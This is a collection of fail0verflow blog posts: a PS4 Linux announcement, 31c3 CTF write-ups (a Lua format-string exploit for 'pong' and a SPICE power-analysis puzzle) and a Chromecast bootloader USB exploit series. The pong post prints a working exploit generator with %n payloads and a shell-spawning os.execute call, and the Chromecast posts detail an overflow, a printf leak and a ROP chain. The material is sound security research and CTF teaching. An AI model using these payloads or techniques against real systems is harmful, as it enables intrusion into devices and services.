For the PS4, therefore, we’re yet again trying something new. It seems that the PS4 security architecture is rather straightforward and simple; the OS is based on FreeBSD, and the browser uses WebKit, both of which are open source. It is relatively easy to find exploits in both of them (all things considered), and that is all you need to chain into a Linux loader. However, as we found out, even though the hardware is certainly similar to a PC, it is not a PC, and Linux needs quite a bit of extra work to get running. Thus, we can add more value to the homebrew ecosystem by helping port Linux than by releasing exploits.

Of course, this also absolves us from responsibility for potentially enabling piracy (and online play hacking and other undesirable outcomes), but we think it might even have a net positive effect: if we can get people interested in running Linux on the PS4 over using the native OS, we can redirect efforts away from reverse engineering the original software infrastructure (which is what the piracy guys need, and they inevitably leech off of those efforts) to Linux (which is completely useless for piracy).

Linux on the PS4 actually makes a lot of sense, more than it ever did on any previous game console. It’s close enough to a PC that getting 3D acceleration working, while rather painful (as we’ve learned), seems entirely possible without undue amounts of effort (in a timeframe of months, not years), to the level needed for real indie games and even AAA titles, not just homebrew. And many thousands of indie and AAA games already run on Linux. Yes, SteamOS on the PS4 should “just work” once the driver issues are sorted out. We demoed a silly GBA emulator because all we had was a 2D framebuffer, but the real fun is getting 3D games to run just like they do on a PC (we’ve tried some commercial indie games already and they do work fine, just painfully slow as they are using software rendering right now, of course).

Although the exploits used in our demo were our own work (we in fact had Linux booting, albeit in a very broken state, well before any PS4 exploits were publicly announced - porting Linux takes time), the fact that other teams have also been able to get kernel code execution proves the point that you really don’t need to depend on us for that aspect. We also have no doubt that vulnerabilities in the latest firmware can be found without too much trouble. Incidentally, everything is pure software. Hardware stuff was only used for research. There is not much reason to resort to hardware-based exploits on an architecture like the PS4, with a very wide attack surface and mediocre isolation.

So, to the community: if you’re interested, we really think this is the way to go for the PS4. Write an exploit, point it to our loader, and you’ll get Linux (we’ll help you get it hooked up/debugged if needed). And if you want piracy, as usual, go away.

As for release timeframes: right now, the code is in a pretty ugly state, and some components are not releasable (e.g. they contain a bit of code that has been directly reverse engineered from Sony modifications to FreeBSD and needs to be rewritten/cleanroomed). Our goal is to eventually get the patches upstreamed in the Linux kernel, but in the meantime we will open up a work-in-progress repo as soon as is practical. If you’re interested, want to contribute, and have access to a PS4 kernel level exploit, feel free to get in contact with us so we know who wants to help out.

For those curious: the current status of 3D support is that we can get the kernel driver to enable acceleration (with some issues), but command buffer execution is currently broken because GPUVM is not working properly (page flipping works, but nothing is rendered, as the command buffer itself triggers a GPU page fault). We’re actively working on debugging this. If you happen to work on the Radeon DRI driver or are familiar with it, we could use a hand here ;).

TL;DR: We’re working on Linux kernel patches, and are looking to get them upstreamed. We’re not releasing exploits - we’re certain other people will. Don’t ask us. And if you want free games, go away.

31c3 CTF - pong (pwn30)

Wed, 31 Dec 2014 19:00:00 +0100

For the 31c3 CTF, Eindbazen and fail0verflow joined forces as 0xffa, the Final Fail Alliance.
Don't miss out on other write-ups at Eindbazen's site!

pong
pwn (30 pts)
-------------------
To play it, connect to our server via:

socat -,raw,echo=0 TCP:188.40.18.92:2001
Have fun!

We are provided with the binary for the server, a Linux x86_64 binary that uses Lua. The service is a version of pong with configurable logic when the ball hits or misses a paddle that can be specified by the user in the form of Lua code.

First, we checked for a few recent Lua bugs/exploits and confirmed that the server is running the most recent version, and thus this probably isn’t about Lua bugs.

The Lua code gets the following globals only:

math           -- (standard math library)
set_leader()
game_over()
score_points()
get_score()
print()
get_tick()
HUMAN = -1.0
NONE = 0.0
AI = +1.0

Auditing these, we quickly find that print() (C function l_print()) calls log_this, which is a printf-style function, but does not call it with '%s' as an argument, and instead passes the user-supplied string directly as the format string - a classic format string vuln.

Unfortunately for us, exploiting this one is trickier than usual. Format string exploits work by using the %n format specifier to write the number of characters written so far (as an 8-, 16-, 32-, or 64-bit integer) to an address passed to the printf function, that is, on the stack. When we can control a buffer on the stack that exists before (i.e. at a higher address) the frame of the function calling printf, we can use this to build a powerful write-anything-anywhere primitive. However, we don’t control any such buffers in this server, so we’re limited to writing to addresses that happen to be on the stack already. Bummer.

Thankfully, by dumping the stack with gdb locally, we were able to grep for interesting addresses and found that, when called from the ball_was_hit or ball_was_missed callback in Lua, the address PLT entry for the lua_pushinteger function ends up on the stack. This allows us to replace it with a (almost) arbitrary pointer, and direct execution to an address of our choosing. Calling get_score() from Lua will trigger a call to that address.

The server developer conveniently left in a dummy reference to the system() libc function for our use. Unfortunately, lua_pushinteger is called with the Lua state structure as the first argument and a somewhat-controllable integer as the second, which doesn’t let us call something useful like /bin/sh, so we had to find something else to call. After struggling to come up with something useful, comex reminded me of the LuaL_openlibs() function, which also takes in the Lua state as the first (and only) argument, and registers a lot of useful libraries, including os.execute which is just system(). Jackpot.

But not quite yet. We want to point to a function that is not referenced from the server binary, so we need to point directly into liblua. This means we need to find out the exact version used. The library is also subject to ASLR, but leaking addresses is trivial with printf - as it turns out, the return address back into liblua from C callbacks can be printed with %8$p, and the low bits match the location of an instruction after an indirect call in liblua5.2-0_5.2.3-1_amd64.deb (Ubuntu 14.04 Trusty).

Here comes the problem: we can only overwrite the base address of the lua_pushinteger function with the number of bytes written so far to the target string (which is thankfully length-limited, so we can make this very large without making the whole thing explode). Typical format string exploits will write in 8-bit units to address+3, address+2, address+1, address+0 in sequence to build a 32-bit (or 64-bit) write without having to “print” ludicrous amounts of charaters, but we have no such luxury. Addresses inside the binary (which is an ET_EXEC binary and thus not itself subject to ASLR) are small enough that we can afford to do this, but we don’t have a reference to LuaL_openlibs, so we need to point directly into the library, which gets loaded at a much higher address. We’re overwriting the address of one function in the library with another, so the top bits of the address will be the same. However, the delta between LuaL_openlibs and lua_pushinteger is greater than 16 bits, so we have to go for a 32-bit overwrite - potentially requiring up to 4 billion characters to be written. This doesn’t work - the pong code sets up a timeout for Lua code execution of two seconds, and we need way longer than that to let the printf core write billions of characters.

Thus, we reach the lame part of the exploit. We can just reconnect to the server (manually) a few times, leaking the address of liblua each time, and try again until ASLR happens to place it at an address where bits 28-31 are 0 (the first hex character of the bottom 32 bits of the address is 0). This happens one in 16 times on average, so it’s not too bad.

And so, we repeatedly reconnect and run the following config to get the address:

    print("a %8$08x")
    END_OF_CONFIG_FILE

And once it happens to start with a 0, we feed it to this bit of Python code that generates the right exploit code:

while True:
    print
    off = raw_input()
    # the return address is at 0xb61d, while LuaL_openlibs is at 0x22d60
    v = int(off, 16) - 0xb61d + 0x22d60
    v = v & 0xffffffff
    print """
function ball_was_hit(who)
    print("a %8$lx")
    print("c %63$lx %64$lx")
    print("d %65$lx %66$lx")
    print("%!ld%66$n")
    get_tick(1)
    os.execute("/bin/sh")
end
ball_was_missed = ball_was_hit

END_OF_CONFIG_FILE
""".replace("!", str(v))

The a, b, c lines are for debugging (showing some nearby data in the stack), but also because at least one print seems to be required before the address of lua_pushinteger ends up on the stack for some reason.

Run the new config and… bingo! A shell. For… one second. Turns out the alarm() is still active, and kills our shell. Okay, fine, we’ll do this the hard way. Guesswork time.

...
    os.execute("pwd; ls -al; cat *flag*; cat /home/user/flag; /home/user/flag")
...

Well that didn’t work - the game scribbled all over our output in the console after it ran. Meh. We could dump the output to a file for further analysis, or set up a bindshell that is detached from the parent process and immune to the alarm, but this is getting stupid, so let’s just do it the evil way.

...
    os.execute("pwd; ls -al; cat *flag*; cat /home/user/flag; /home/user/flag ; sleep 100")
    print("%1$n%2$n%3$n%4$n%5$n")
...

This tries to force the shell to time out, and just in case, makes the game segfault if execution reaches the print. Can we have the flag, please?

No, turns out we guessed wrong. ls says there is a getflag binary in the current directory that we have to run. Fourth time’s the charm?

...
    os.execute("pwd; ls -al; ./getflag; sleep 100")
    print("%1$n%2$n%3$n%4$n%5$n")
...

Yup. 31c3ctf_fdf1c32f1259901a4baa14b50b710cfd.

31c3 CTF - safelock (signals20)

Tue, 30 Dec 2014 11:00:00 +0100

For the 31c3 CTF, Eindbazen and fail0verflow joined forces as 0xffa, the Final Fail Alliance.
Don't miss out on other write-ups at Eindbazen's site!

safelock
Signals (20 pts)
-------------------
This is the circuit of a safe lock. Get the key to open it!
http://188.40.18.86/safelock/

It's neither about webtronics nor ngspice. Disregard bugs in both.

If you want to write spice code directly, use something like this

cat test.cir | curl --data-binary '@-' http://188.40.18.86/safelock/contest_spice/spice.cgi

Interesting: a (terribad) web interface for SPICE, with a “black box” circuit that we have to interact with. The above diagram is the visual representation of the “black box” in the webapp, but don’t be fooled: it’s just a single SVG file, so we don’t know if it matches the actual implementation. We can only assume that it roughly does, though.

The web interface is absolutely terrible, but it does show the SPICE output generated, so let’s get an example to work with and get the interface out of the way. Just hooking up a voltage source to the target:

.title 31c3 ctf
.include challenge_common.cir
v 1 0
x 0 1 2 3 4 5 6 7 8 9 10 11 safelock
.end

So the block is just called safelock. And indeed, feeding this to the CGI script mentioned in the challenge description does indeed produce ngspice output.

Time to reverse engineer the circuit. What we have is a rather simple “combination lock”. Each of the key inputs (active low) is inverted with a 74HC04 (except for keys 8 and 9), and then NORed together in two groups, to produce an active low “any key” signal. The two outputs are then NANDed together with keys 8 and 9 (which are buffered through two inverters), yielding a strobe line that goes high every time any button is pressed. Separately, each of the keys 0-7 are connected to the input of a serial-in, parallel-out shift register clocked by the generated strobe (keys 8 and 9 are not used, they only trigger the strobe). Every time a key is pressed, a one bit is shifted into its associated shift register, and all the other shift registers just shift in a 0.

The idea is that the jumper blocks connected to each shift register allow you to choose one “position” for each key, thus specifying the order in which the keys must be pressed. The outputs are then averaged together with resistors and connected to an unspecificed “ASIC”. We can only guess that the lock will open when all of the outputs are high, and thus the average voltage level is equal to Vcc. One limitation is that each key may only be used once, because there is only one shared resistor for each block (jumpering together two jumpers would short circuit two outputs of the shift register).

We still don’t know how to get any output from the system though - there are no output pins. We don’t know if the ASIC will do anything “special”. We can’t brute force the combination - SPICE is slow and there are too many combinations.

But we can still attack it.

The trick is to realize that the entire circuit is built out of HC series chips. These are CMOS chips which have essentially zero static power consumption - the vast majority of the power in the circuit is spent in any resistors through which current is flowing. Ignoring the ASIC for the moment, what we have at the output of the shift registers is 8 resistors that connect 8 CMOS outputs to a common point. When all the outputs are 0 (or 1), no current flows. But as soon as one output disagrees, current will be dissipated in the resistors.

The plan is to place a resistor in series with the power supply (to measure current by measuring the voltage across it), then repeatedly press each button while monitoring the power consumption of the circuit. The shift register associated to it will start shifting in ones. As soon as the one bit hits an output that is jumpered to the resistor network, power consumption should increase.

Let’s try it out. We’ll press key 0 every 5ms, for 1ms:

.title 31c3 ctf
.include challenge_common.cir
.tran 1m 100m
v 12 0 DC 5
r 12 1 51
x 0 1 2 3 4 5 6 7 8 9 10 11 safelock

vt 2 0 PULSE(5 0 5m 0.1m 0.1m 1m 5m)
.print tran v(1) v(2)
.end

Feeding this into the challenge server, we get the following (abbreviated) output:

Solver: solver1@31c3ctf-spice
Warning: vt: no DC value, transient time 0 value used
(snip)
No. of Data Rows : 983
                            31c3 ctf 
                            Transient Analysis  Tue Dec 30 12:57:30  2014
-------------------------------------------------------------------------
Index   time            v(1)            v(2)            
-------------------------------------------------------------------------
0   0.000000e+00    4.819684e+00    5.000000e+00    
(snip)
12  5.000000e-03    4.819684e+00    5.000000e+00    
13  5.010000e-03    4.810454e+00    4.500000e+00    
14  5.030000e-03    4.791892e+00    3.500000e+00    
15  5.070000e-03    4.754450e+00    1.500000e+00    
16  5.100000e-03    4.726078e+00    0.000000e+00    
(snip)
33  6.025867e-03    4.723863e+00    0.000000e+00    
34  6.100000e-03    4.723860e+00    1.084202e-14    
35  6.100440e-03    4.724275e+00    2.201610e-02    
(snip)
42  6.179481e-03    4.798378e+00    3.974027e+00    
43  6.200000e-03    4.813087e+00    5.000000e+00    
(snip)
54  6.765384e-03    4.819338e+00    5.000000e+00    
(snip)
61  1.000000e-02    4.819684e+00    5.000000e+00    
62  1.001000e-02    4.810454e+00    4.500000e+00    
63  1.003000e-02    4.791892e+00    3.500000e+00    
64  1.007000e-02    4.754450e+00    1.500000e+00    
65  1.010000e-02    4.726078e+00    0.000000e+00    
(snip)
83  1.110000e-02    4.723860e+00    0.000000e+00    
84  1.110044e-02    4.724275e+00    2.201609e-02    
(snip)
91  1.117948e-02    4.798378e+00    3.974026e+00    
92  1.120000e-02    4.813087e+00    5.000000e+00    
(snip)
102 1.162485e-02    4.819063e+00    5.000000e+00    
(snip)
110 1.500000e-02    4.819684e+00    5.000000e+00    
111 1.501000e-02    4.810454e+00    4.500000e+00    
112 1.503000e-02    4.791892e+00    3.500000e+00    
113 1.507000e-02    4.754450e+00    1.500000e+00    
114 1.510000e-02    4.726078e+00    1.172396e-13    
115 1.510318e-02    4.725917e+00    0.000000e+00    
(snip)
132 1.610000e-02    4.723860e+00    0.000000e+00    
133 1.610044e-02    4.724275e+00    2.201609e-02    
(snip)
141 1.620000e-02    4.813087e+00    5.000000e+00    
(snip)
159 2.000000e-02    4.819684e+00    5.000000e+00    
160 2.001000e-02    4.810454e+00    4.500000e+00    
161 2.003000e-02    4.791892e+00    3.500000e+00    
162 2.007000e-02    4.754450e+00    1.500000e+00    
163 2.010000e-02    4.726078e+00    3.019807e-14    
164 2.010318e-02    4.725917e+00    0.000000e+00    
(snip)
218 2.105820e-02    4.702927e+00    0.000000e+00    
219 2.110000e-02    4.702907e+00    1.084202e-14    
(snip)
229 2.120000e-02    4.792868e+00    5.000000e+00    
(snip)
239 2.161755e-02    4.798821e+00    5.000000e+00    
240 2.175914e-02    4.799110e+00    5.000000e+00    
241 2.194370e-02    4.799306e+00    5.000000e+00    
242 2.214779e-02    4.799401e+00    5.000000e+00    
243 2.244963e-02    4.799453e+00    5.000000e+00    
(snip)

This is an analog simulation, so there is quite a bit of switching noise at the transitions. The circuit starts with a supply voltage of 4.819V, and at index 13 the button is pressed (the input takes some time to fall). After it rises again at index 43, the power consumption quickly stabilizes (index 54) back to 4.819V. This repeats for two further button presses. At index 160, the button is pressed for the fourth time. This time, we get a lot more sample rows - only 1ms elapses between rows 164 and 218, which means that there was more transient activity in the circuit. After the button is released at index 229, we wait, and by index 243, the voltage has stabilized to… 4.799 volts! The power consumption of the circuit increased after the 4th press of key 0.

This means that key 0 is present in the combination 4 positions from the end. Repeating this process, we find that we need to press each button the following number of times to trigger the increased power consumption:

0 - 4
1 - unused (no change)
2 - unused (no change)
3 - 1
4 - 7
5 - 3
6 - 8
7 - 5

This leaves positions 2, 6 undefined. At this point, we assume that buttons 8 and 9, though unconnected in the schematic (there are only 8 shift registers) may actually be in use, and we indeed find that button 8 triggers increased current draw after 2 presses, while button 9 is unused. That still leaves position 6 undefined. Again, the next step is to assume that the schematic has more lies, and that in fact it is possible to use a button twice (this would require each jumper output to have its own individual resistor, to avoid shorting out the shift register outputs). Going back through all the buttons and looking for further current draw, it turns out that button 8 also triggers an output at position 6.

Sorting by position and flipping the order of the buttons, we get the final combination:

Position  8 7 6 5 4 3 2 1
Button    6 4 8 7 0 5 8 3

Disappointingly, feeding the combination to the circuit doesn’t seem to do anything interesting. However, as it turns out, 64870583 is itself the flag. It seems the “ASIC” will remain a mystery…

HubCap: pwning the ChromeCast pt. 2

Thu, 04 Sep 2014 00:00:00 +0100

The chain

In the last post, I explained the bug that we used to get a foothold into the system, but we’re far from achieving what we want. We left off being able to overwrite anything before a particular buffer but because of caching behavior that didn’t get us all that far. Additionally, we don’t know exactly where we are in memory.

I mentioned in the previous post that there’s a debug port on the Chromecast that prints out messages from the boot loader. We’re going to abuse this port to figure out where we are in memory. How you ask? Well, whenever we plug in a USB device, and something goes wrong with it we get a helpful debug message telling us what went wrong and some information relating to what went wrong, along the lines of:

unable to select configuration descriptor 0.

The 0 was filled in by printf, so the string in memory is really … descriptor %d.. What would happen if we overwrote this string with %x %x %x %x ... %x? Because of the way printf handles its arguments, it will start reading garbage off the stack and hopefully get us something interesting. The only problem with this approach is that I can only really overwrite 255 bytes of memory at a time, and - as you may remember from part 1 - we don’t know where we are in memory. We can make educated guesses, but it’s largely a crapshoot. I don’t want to sit here and replug my Teensy hundreds of times just to see if I can hit that string.

Let’s look back on the hub allocation code to see if it can help us here.

static int usb_hub_index;
if (usb_hub_index < USB_MAX_HUB)
    return &hub_dev[usb_hub_index++];

We see that usb_hub_index is auto-incremented. If I just plugged in lots and lots of USB hubs, it would walk memory for me! I created a horrible abomination of a (virtual) USB device, somewhat in the following configuration:

As you can see, the hubs are effectively plugged in a circle plus an extra device added to overwrite the dev_index variable we overwrote in the first article to get to the -1th entry. To the Chromecast what this actually looks like is a hub, plugged into a hub, plugged into a hub, etc. ad infinitum. However, after about 3000 USB devices the Chromecast runs out of stack space and dies (the hub enumeration function recurses into itself). 2/3rds of those devices were hubs, and we managed to overwrite 16 bytes for each, so we can overwrite about 32k of memory each time.

After about a day of “Move pointer, recompile, plug, wait an hour.” I finally hit a string! My serial console filled with garbage and I now know the relative distance between me and this string. Wait… Relative distance? That doesn’t help us at all! This is where our little string goes on a journey of self-discovery. I had written out a large amount of %x %x %x into memory, and a few of those printed out as 25782025 (which is the binary representation of %x %). Somewhere along the lines, my buffer had ended up on the stack. Translating that into C:

printf("%x %x %x %x %x %x %x", '%x %', 'x %x', ...);

I can abuse this by having some data in my buffer be pointers, and some be %s:

printf("%s\n%s\n%s\n", ptr1, ptr2, ptr3);

I control both the string and the arguments, so all I have to do is scan the pointers across memory until I print out my OWN buffer (so %s\n%s\n%s\n). That will tell me where the string is, and because I know the relative distance between me and the string, that will tell me where I am in memory. 5 minutes later, I had two absolute pointers sitting in front of me.

I tried the same trick with a few different strings, and got some more pointers and even a register dump in the form of a stack frame:

r0 : FF
r1 : 0
r2 : FF
r3 : 0
r4 : 211C58     ; usb_device pointer.
r5 : 0
r6 : 12
r7 : 4FEB8C     ; pointer on to the stack, ~0x204 away from the LR on the stack.
r8 : 3
r9 : 103
r10: 211710     ; usb_device parent (?)
r11: 1AC075     ; usb_hub pointer? next hub pointer?
lr : 1A1820     ; somewhere in usb_new_device

This showed me a couple of things, but most notably it got me a return address in the link register. Excitement! To recap, we now know where we are in memory, we know where a piece of .text that will be executed is, and we can overwrite it. We win… Right? Still no. We’re running with caches on currently, and this system is cache incoherent. That means that the data cache and instruction cache can be out-of-sync, and they most assuredly are at this point. The hub descriptor hasn’t even left the d-cache, and so cannot have been picked up by the i-cache. The end-result is that while one part of the CPU is seeing the hub descriptor at memory X, another is not.

Hulk smash!

This is where I cheated a little and took a peek at the older firmware dump given to me by the GTVHacker guys. The return pointer I gleaned from that stack frame pointed somewhere into usb_new_device, a function adjacent to hub_allocate:

ROM:006A105C hub_allocate                            ; CODE XREF: usb_hub_configure+Cp
ROM:006A105C                 LDR     R2, =base_ptr
ROM:006A1060                 STMFD   SP!, {R3,LR}
ROM:006A1064                 LDR     R3, [R2,#(hub_index - 0x6E2FD8)]
ROM:006A1068                 CMP     R3, #0xF
ROM:006A106C                 BGT     loc_6A1084
ROM:006A1070                 LDR     R0, =hub_array
ROM:006A1074                 ADD     R1, R3, #1
ROM:006A1078                 STR     R1, [R2,#(hub_index - 0x6E2FD8)]
ROM:006A107C                 ADD     R0, R0, R3,LSL#4
ROM:006A1080                 LDMFD   SP!, {R3,PC}
ROM:006A1084 ; ---------------------------------------------------------------------------
ROM:006A1084
ROM:006A1084 loc_6A1084                              ; CODE XREF: hub_allocate+10j
ROM:006A1084                 MOV     R1, #0x10
ROM:006A1088                 LDR     R0, =aErrorUsb_max_h ; "ERROR: USB_MAX_HUB (%d) reached\n"
ROM:006A108C                 BL      sub_681734
ROM:006A1090                 MOV     R0, #0
ROM:006A1094                 LDMFD   SP!, {R3,PC}
ROM:006A1094 ; End of function hub_allocate
ROM:006A1094
ROM:006A1094 ; ---------------------------------------------------------------------------
ROM:006A1098 off_6A1098      DCD base_ptr            ; DATA XREF: hub_allocater
ROM:006A109C off_6A109C      DCD hub_array           ; DATA XREF: hub_allocate+14r
ROM:006A10A0 off_6A10A0      DCD aErrorUsb_max_h     ; DATA XREF: hub_allocate+2Cr
ROM:006A10A0                                         ; "ERROR: USB_MAX_HUB (%d) reached\n"

A couple of interesting things here. The function uses a so called ‘literal pool’ which is a fancy term for “Stuck a couple DWORDs at the end”. It uses this to do absolute addressing, and it’s data. The processor accesses these DWORDs as regular data, not instructions, so we can overwrite those! The hub_array pointer is especially interesting as this dictates where the next hub descriptor gets written. If we can change that pointer, we can write anywhere in memory! So the plan is now:

1.  Overwrite the dev_idx using our Interface Descriptor overflow.
2.  Overwrite the hub_index using the -1 dev_idx
3.  Overwrite the literal pool with our hub descriptor to point the hub array somewhere else
4.  ???
5.  Profit

We gleaned a stack pointer earlier from our little printf foray. What would happen if we pointed the hub_array to the stack and overwrote a return pointer? We… No. We still have to deal with our cache coherency problem, so we can’t just jump into our code still. We can however do some ROP into the d-cache flushing function and THEN jump into our code. With our trusty old dump of the bootloader, we spy the d-cache flushing routine at offset 0x1C0 from the start of the ROM. Fingers crossed that not much changed between v1.0 and v1.5 in the cache routines and that it still lives there. We flush d-cache, and we jump into the stack where our shell code is waiting. This time, we actually do win.

At this point, we’ve got arbitrary code execution and we can do pretty much whatever we want. My shell code fixes the stack pointer, signals success by turning on an LED, waits for a button press, patches the bootloader to allow any image and rolls back the USB state machine. This is enough to run our custom kernel.

Conclusion

We went from source code access to fully owning a restricted embedded device. Along the way we succesfully overcame everything from cache incoherency to not having an exact binary image. This hack is one of the cooler ones I’ve done in a long time simply because it was such a restricted environment. One of the questions that’s come up a lot is “Why?”. Outside of the obvious challenge of cracking a device I’d like to draw some attention to the guys over at Team Eureka, who made the post-exploitation environment possible. They’re adding a ton of useful features using this exploit.

If that’s not your thing a small set of people have been trying to port XBMC to the Chromecast. The main hurdle right now is the VPP framebuffer driver, we’re able to get a 1080p YUV framebuffer with a HW accelerated spinning cube (courtesy of the etnaviv driver), but it has to do RGB -> YUV conversion. We’d love for someone more versed in the Marvell video pipeline to help us out with setting it up right to allow for an RGB plane. But even without that it’s turning out to be a nice $35 Linux box running Arch-Linux without any issues. And who doesn’t want that?

HubCap: pwning the ChromeCast pt. 1

Fri, 29 Aug 2014 00:00:00 +0100

In case you’re looking for the root, it was released a little while back: here

The foothold

I’d tell you all about what the Chromecast is, but I think Wikipedia has that part covered for me. For our purposes, all you need to know is that it’s an ARMv7 based device, has WiFi, an HDMI connector and a maintenance port in the form of a micro USB port. Additionally you can crack the case open and get access to a serial debugging port. It runs a stripped down version of Android without the Dalvik engine.

The Chromecast processor supports “secure” boot, which means that it will only boot a bootloader and kernel authorized by Google. But what if I want to run my own kernel? Well, that’s where our story starts. The Chromecast is a little bit unique in that Google’s released the source code to most of the system, including the second stage bootloader. This bootloader is a forked version of U-Boot maintained by Marvell, the SoC manufacturer. It was modified in order to boot Android images.

Because we have access to the source code, we can simply audit it. There’s only really one way of getting data into the bootloader without having to crack the case open and that’s the maintenance port. This port is configured as a USB host in this scenario so let’s have a look at the code responsible for handling device insertions. In the function responsible for parsing the USB configuration descriptors, we find this:

head = (struct usb_descriptor_header *) &buffer[0];
if (head->bDescriptorType != USB_DT_CONFIG) {
    printf(" ERROR: NOT USB_CONFIG_DESC %x\n",
        head->bDescriptorType);
    return -1;
}
memcpy(&dev->config, buffer, buffer[0]);
le16_to_cpu(&(dev->config.desc.wTotalLength));
dev->config.no_of_if = 0;

index = dev->config.desc.bLength;
/* Ok the first entry must be a configuration entry,
    * now process the others */
head = (struct usb_descriptor_header *) &buffer[index];
while (index + 1 < dev->config.desc.wTotalLength) {
    switch (head->bDescriptorType) {
    case USB_DT_INTERFACE:
        if (((struct usb_interface_descriptor *) \
                &buffer[index])->bInterfaceNumber != curr_if_num) {
            /* this is a new interface, copy new desc */
            ifno = dev->config.no_of_if;
            dev->config.no_of_if++;
            memcpy(&dev->config.if_desc[ifno],
                &buffer[index], buffer[index]);
            dev->config.if_desc[ifno].no_of_ep = 0;
            dev->config.if_desc[ifno].num_altsetting = 1;
            curr_if_num =
                    dev->config.if_desc[ifno].desc.bInterfaceNumber;
        } else {
            /* found alternate setting for the interface */
            dev->config.if_desc[ifno].num_altsetting++;
        }
        break;

The memcpy calls shown here on lines 7 and 23 are only mildly bounded (255 bytes) invocations. But more importantly, the ‘ifno’ variable - responsible for counting the number of interface descriptors - isn’t bounded either. You can supply as many interface headers as you want, and the code won’t care. It’s looking like we can overflow a decent amount outside this ‘dev’ struct. So we plug in a USB device with a malformed configuration descriptor and we win, right? Well… Not quite. The allocations for these dev structs are being done in usb_alloc_new_device:

struct usb_device *usb_alloc_new_device(void)
{
    int i;
    USB_PRINTF("New Device %d\n", dev_index);
    if (dev_index == USB_MAX_DEVICE) {
        printf("ERROR, too many USB Devices, max=%d\n", USB_MAX_DEVICE);
        return NULL;
    }
    /* default Address is 0, real addresses start with 1 */
    usb_dev[dev_index].devnum = dev_index + 1;
    usb_dev[dev_index].maxchild = 0;
    for (i = 0; i = USB_MAXCHILDREN; i++)
        usb_dev[dev_index].children[i] = NULL;
    usb_dev[dev_index].parent = NULL;
    dev_index++;
    return &usb_dev[dev_index - 1];
}

Each entry in usb_dev is about 1300 bytes large, and USB_MAX_DEVICE is 32. That means this array is about 42k large. We’re only the second device to get inserted (the first being the root hub), so there’s about 40k of unused memory next to us. We can’t overflow that much memory! We’re going to have to figure out a way of increasing dev_index until we can hit something interesting.

The hardware

Introducing the hardware we’ll use to attack this platform, the Teensy 2.0++. I used this handy stick partly because I had it around, partly because I’m already familiar with its environment and I’ve done USB exploitation with it before. We’re going to abuse the Teensy’s flexibility to increase the device_index to a point where we can hit something outside of this array.

We’ll simply have to insert a lot of ‘fake’ devices. We can do this by pretending to be a USB hub, and inserting lots of devices. There’s some trickery involved here because we have to be both the hub and lots of devices at the same time, but the Teensy can only listen to one USB address at a time. See the code for how exactly this is done. So we’ve now got a device inserted into the last slot. We win, right? Not quite. Unlike a more traditional platform, bootloaders are special. There’s usually no heap, no dynamic allocations and the structures are all very simple. Now what? We can’t corrupt heap metadata, and there’s no function pointers nearby. Let’s look at what we do have nearby:

RAM:006E2FDC hub_index       DCD
RAM:006E2FE8 dev_array       DCD
...
RAM:006ED8E8 dev_index       DCD
RAM:006ED8EC hub_array       DCD

As you can see, right after the dev_array is the dev_index variable that was used in the usb_alloc_new_device function. We can modify this 32 bit value and get the next ‘allocation’ of a USB device to point anywhere! So, now we win, right? Still no. If you look at the above code, you notice that it also uses the dev_index to assign the devices ‘devnum’ or address. USB addresses run from 0 to 127. The code handles anything else rather ungracefully and fails to set up the USB EHCI controller correctly.

We can set dev_index to be anything from -1, 126 then. The array is 32 entries long so 32-126 will overwrite memory after the array, -1 will allow us an overwrite before the array. There’s nothing interesting in memory after the usb_dev array outside of the dev_index (it got stuffed at the end of the memory space). That leaves us with writing to the memory in front of the usb_dev array. It so happens that this piece of memory contains something that IS interesting.

The bootloader has support for two kinds of devices, USB hubs and USB Mass Storage devices. It has arrays similar to our usb_dev array to keep track of the device specific data associated with these devices. Also similar to the device array is that it uses indexes to keep track of these devices. One of these indexes (for the hubs) lives in front of the usb_dev array and thus we can overwrite it! However, looking at the hub allocation code, it’s a little bit more strict:

static int usb_hub_index;
if (usb_hub_index < USB_MAX_HUB)
    return &hub_dev[usb_hub_index++];

It checks that usb_hub_index is less than USB_MAX_HUB (16). But it does this using a signed integer so if we supply a negative usb_hub_index (something that doesn’t happen during normal codeflow) we can write anywhere in front of the hub_dev array! Reading the linker script the bootloader uses, we get the following memory map:

Offset 0    +----------+
            |          |
            |   text   |
            |          |
            +----------+
            |          |
            |  rodata  |
            |          |
            +----------+
            |          |
            |   data   |
            |          |
            +----------+
            |          |
            |    bss   |
            |          |
            +----------+
            |          |
            |   stack  |
            |          |
Top of mem  +----------+

The .text segment is in front of the .data segment, and the pagetables are set up to allow read,write and execute accesses to all the pages. We can just overwrite the .text segment, and we win, right? I hate to disappoint, but no. There’s more than one problem with this approach. I’ll start with the first: we don’t know where we are in memory. All we have is a relative index from an array ‘somewhere’ in memory. Plus, we don’t know what .text looks like. Up to this point, I’ve been working with source code for the current version, and an older firmware dump graciously provided by our friends over at GTVHacker. But I don’t have a firmware dump for the version of the bootloader on my chromecast. So, even if we could overwrite .text (more on that later), we wouldn’t know what to overwrite where.

We can solve this problem, but that’s for Part II, the overflowening. (I need to work on my titles).

fail0verflow

PS4 Aux Hax 5: Flawed Instructions Get Optimized

Yet another PS4 peripheral?

PSVR Overview

OSS

Power-on

Possible initial entrypoints

PCIe hax

Breaking TrustZone

Onto FIGO

Shoving firmware into FIGO

Racing the FIGO

Pwning FIGO IROM

FIGO IROM, again!

Appendix

Filesystems

PS4 Aux Hax 4: Belize via CEC

From Aeolia to Belize

Common attack vectors

The bug

Reaching the bug

Dealing with i2c

Hardware setup

Exploitation

Parting thoughts

PS4 Aux Hax 3: Dualshock4

Pwn a controller, what?

Inspecting JDM-001

Serial pwning mode

Defeating read protection

PS4 Aux Hax 2: Syscon

Syscon recon

Do we even care about syscon?

Reversing the ROM

ROM glitchin’

Are we there yet?

Firmware dumpin’

Outtakes

PS4 Aux Hax 1: Intro & Aeolia

Intro (Overview of SAA-001)

Interesting components outside the APU

Aeolia

Sizing up the target

Setting up shop

Power analysis as debugger

Digging into the crypto

Baby’s first DPA

Recovering the key encryption key

Well, now what?

Bootrom dumpin’

Ok, NOW what?

Recovering the fuse key

Recommended reading

Greetz

ShofEL2, a Tegra X1 and Nintendo Switch exploit

What’s this all about anyway?

Entering RCM mode

Executing the USB-based exploit

Linux on Switch boot chain

The code

Coming soon

Dumping a PS4 Kernel in "Only" 6 Days

Crashdumps on PS4

Dumping Anything

Crashdump Crypto

Crashdump Decoding

Crashdump Automation

Triggering the Vulnerability

The Fix (Kind of…)

Fin

Appendix

Crashdump Decryptor

NXDP Decoder

The First PS4 Kernel Exploit: Adieu

Vulnerability Discovery

Exploitation

UAF Crafting

Finding a UAF Target

Putting it Together

Cleaning Up